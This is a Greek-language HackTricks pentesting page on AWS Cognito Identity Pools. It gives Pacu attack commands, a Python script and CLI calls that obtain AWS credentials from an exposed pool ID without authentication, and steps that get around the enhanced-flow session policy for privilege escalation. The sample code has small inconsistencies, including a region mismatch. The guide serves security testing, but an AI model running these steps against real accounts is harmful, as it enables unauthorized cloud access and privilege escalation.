Cognito Identity Pools
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Οι πισίνες ταυτοτήτων παίζουν κρίσιμο ρόλο επιτρέποντας στους χρήστες σας να αποκτούν προσωρινές πιστοποιήσεις. Αυτές οι πιστοποιήσεις είναι απαραίτητες για την πρόσβαση σε διάφορες υπηρεσίες AWS, συμπεριλαμβανομένων αλλά όχι περιορισμένων σε Amazon S3 και DynamoDB. Ένα αξιοσημείωτο χαρακτηριστικό των πισινών ταυτοτήτων είναι η υποστήριξή τους για ανώνυμους επισκέπτες καθώς και για μια σειρά παρόχων ταυτοτήτων για την αυθεντικοποίηση χρηστών. Οι υποστηριζόμενοι πάροχοι ταυτοτήτων περιλαμβάνουν:
- Amazon Cognito user pools
- Επιλογές κοινωνικής σύνδεσης όπως Facebook, Google, Login with Amazon, και Sign in with Apple
- Πάροχοι συμβατοί με OpenID Connect (OIDC)
- SAML (Security Assertion Markup Language) πάροχοι ταυτοτήτων
- Ταυτότητες που πιστοποιούνται από προγραμματιστές
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3
# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')
# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'
# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)
# Print the response from AWS
print(response)
Cognito Sync
Για να δημιουργήσετε συνεδρίες Identity Pool, πρέπει πρώτα να δημιουργήσετε μια Identity ID. Αυτή η Identity ID είναι η ταυτοποίηση της συνεδρίας αυτού του χρήστη. Αυτές οι ταυτοποιήσεις μπορούν να έχουν έως και 20 σύνολα δεδομένων που μπορούν να αποθηκεύσουν έως 1MB ζευγών κλειδιού-τιμής.
Αυτό είναι χρήσιμο για να διατηρείτε πληροφορίες ενός χρήστη (ο οποίος θα χρησιμοποιεί πάντα την ίδια Identity ID).
Επιπλέον, η υπηρεσία cognito-sync είναι η υπηρεσία που επιτρέπει να διαχειρίζεστε και να συγχρονίζετε αυτές τις πληροφορίες (στα σύνολα δεδομένων, στέλνοντας πληροφορίες σε ροές και μηνύματα SNS…).
Tools for pentesting
- Pacu, το πλαίσιο εκμετάλλευσης AWS, περιλαμβάνει τώρα τα modules “cognito__enum” και “cognito__attack” που αυτοματοποιούν την καταμέτρηση όλων των περιουσιακών στοιχείων Cognito σε έναν λογαριασμό και επισημαίνουν αδύναμες ρυθμίσεις, χαρακτηριστικά χρηστών που χρησιμοποιούνται για έλεγχο πρόσβασης, κ.λπ., και επίσης αυτοματοποιούν τη δημιουργία χρηστών (συμπεριλαμβανομένης της υποστήριξης MFA) και την κλιμάκωση προνομίων με βάση τροποποιήσιμα προσαρμοσμένα χαρακτηριστικά, χρησιμοποιήσιμα διαπιστευτήρια identity pool, ρόλους που μπορούν να αναληφθούν σε id tokens, κ.λπ.
Για περιγραφή των λειτουργιών των modules δείτε το μέρος 2 της δημοσίευσης στο blog. Για οδηγίες εγκατάστασης δείτε τη κύρια σελίδα Pacu.
Usage
Δείγμα χρήσης cognito__attack για να προσπαθήσετε να δημιουργήσετε χρήστη και όλους τους διαύλους κλιμάκωσης προνομίων κατά ενός συγκεκριμένου identity pool και client user pool:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Δείγμα χρήσης cognito__enum για τη συλλογή όλων των πισινών χρηστών, πελατών πισινών χρηστών, πισινών ταυτοτήτων, χρηστών κ.λπ. που είναι ορατές στον τρέχοντα λογαριασμό AWS:
Pacu (new:test) > run cognito__enum
- Cognito Scanner είναι ένα εργαλείο CLI σε python που υλοποιεί διάφορες επιθέσεις στο Cognito, συμπεριλαμβανομένης της ανεπιθύμητης δημιουργίας λογαριασμών και της κλιμάκωσης πιστωτικών δεξαμενών.
Εγκατάσταση
$ pip install cognito-scanner
Χρήση
$ cognito-scanner --help
Για περισσότερες πληροφορίες ελέγξτε το https://github.com/padok-team/cognito-scanner
Πρόσβαση σε IAM Ρόλους
Χωρίς Αυθεντικοποίηση
Το μόνο που χρειάζεται να γνωρίζει ένας επιτιθέμενος για να λάβει AWS credentials σε μια εφαρμογή Cognito ως μη αυθεντικοποιημένος χρήστης είναι το Identity Pool ID, και αυτό το ID πρέπει να είναι σκληρά κωδικοποιημένο στην εφαρμογή ιστού/κινητού για να το χρησιμοποιήσει. Ένα ID μοιάζει έτσι: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (δεν είναι επιδεκτικό brute force).
Tip
Ο IAM Cognito ρόλος χωρίς αυθεντικοποίηση που δημιουργείται μέσω ονομάζεται από προεπιλογή
Cognito_<Identity Pool name>Unauth_Role
Αν βρείτε ένα Identity Pools ID σκληρά κωδικοποιημένο και επιτρέπει μη αυθεντικοποιημένους χρήστες, μπορείτε να λάβετε AWS credentials με:
import requests
region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}
r = requests.post(url, json=params, headers=headers)
json_resp = r.json()
if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit
IdentityId = r.json()["IdentityId"]
params = {'IdentityId': IdentityId}
headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)
print(r.json())
Ή μπορείτε να χρησιμοποιήσετε τις παρακάτω aws cli εντολές:
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
Warning
Σημειώστε ότι από προεπιλογή ένας μη αυθεντικοποιημένος cognito χρήστης ΔΕΝ ΜΠΟΡΕΙ να έχει καμία άδεια, ακόμη και αν έχει ανατεθεί μέσω πολιτικής. Ελέγξτε την επόμενη ενότητα.
Enhanced vs Basic Authentication flow
Η προηγούμενη ενότητα ακολούθησε τη προεπιλεγμένη ροή ενισχυμένης αυθεντικοποίησης. Αυτή η ροή ορίζει μια περιοριστική πολιτική συνεδρίας για τη συνεδρία ρόλου IAM που δημιουργείται. Αυτή η πολιτική θα επιτρέπει μόνο στη συνεδρία να χρησιμοποιεί τις υπηρεσίες από αυτή τη λίστα (ακόμη και αν ο ρόλος είχε πρόσβαση σε άλλες υπηρεσίες).
Ωστόσο, υπάρχει τρόπος να παρακαμφθεί αυτό, αν η δεξαμενή ταυτοτήτων έχει ενεργοποιημένη την “Βασική (Κλασική) Ροή”, ο χρήστης θα μπορεί να αποκτήσει μια συνεδρία χρησιμοποιώντας αυτή τη ροή που δεν θα έχει αυτή την περιοριστική πολιτική συνεδρίας.
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign
# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
Warning
Αν λάβετε αυτό το σφάλμα, είναι επειδή η βασική ροή δεν είναι ενεργοποιημένη (προεπιλογή)
An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.
Έχοντας ένα σύνολο διαπιστευτηρίων IAM, θα πρέπει να ελέγξετε ποια πρόσβαση έχετε και να προσπαθήσετε να κλιμακώσετε τα δικαιώματα.
Αυθεντικοποιημένος
Note
Θυμηθείτε ότι οι αυθεντικοποιημένοι χρήστες θα έχουν πιθανώς διαφορετικές άδειες, οπότε αν μπορείτε να εγγραφείτε μέσα στην εφαρμογή, προσπαθήστε να το κάνετε αυτό και να αποκτήσετε τα νέα διαπιστευτήρια.
Μπορεί επίσης να υπάρχουν ρόλοι διαθέσιμοι για αυθεντικοποιημένους χρήστες που έχουν πρόσβαση στην Identity Pool.
Για αυτό μπορεί να χρειαστεί να έχετε πρόσβαση στον πάροχο ταυτότητας. Αν αυτός είναι ένας Cognito User Pool, ίσως μπορείτε να εκμεταλλευτείτε τη προεπιλεγμένη συμπεριφορά και να δημιουργήσετε έναν νέο χρήστη μόνοι σας.
Tip
Ο ρόλος IAM Cognito που δημιουργήθηκε μέσω ονομάζεται προεπιλεγμένα
Cognito_<Identity Pool name>Auth_Role
Ούτως ή άλλως, το παρακάτω παράδειγμα αναμένει ότι έχετε ήδη συνδεθεί μέσα σε έναν Cognito User Pool που χρησιμοποιείται για την πρόσβαση στην Identity Pool (μην ξεχάσετε ότι άλλοι τύποι παρόχων ταυτότητας θα μπορούσαν επίσης να είναι ρυθμισμένοι).
# Updated format
aws cognito-identity get-id \
--identity-pool-id \
--logins '{"cognito-idp..amazonaws.com/": ""}'
aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins '{"cognito-idp..amazonaws.com/": ""}'
aws cognito-identity get-credentials-for-identity \
--identity-id \
--custom-role-arn \
--logins '{"cognito-idp..amazonaws.com/": ""}'
Deprecated format — these may no longer work with current AWS CLI:
aws cognito-identity get-id \
--identity-pool-id \
--logins cognito-idp..amazonaws.com/=
aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins cognito-idp..amazonaws.com/=
aws cognito-identity get-credentials-for-identity \
--identity-id \
--custom-role-arn \
--logins cognito-idp..amazonaws.com/=
Warning
Είναι δυνατόν να ρυθμίσετε διαφορετικούς ρόλους IAM ανάλογα με τον πάροχο ταυτότητας που έχει συνδεθεί ο χρήστης ή ακόμη και απλά ανάλογα με τον χρήστη (χρησιμοποιώντας δηλώσεις). Επομένως, αν έχετε πρόσβαση σε διαφορετικούς χρήστες μέσω του ίδιου ή διαφορετικών παρόχων, ίσως αξίζει να συνδεθείτε και να αποκτήσετε πρόσβαση στους ρόλους IAM όλων τους.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud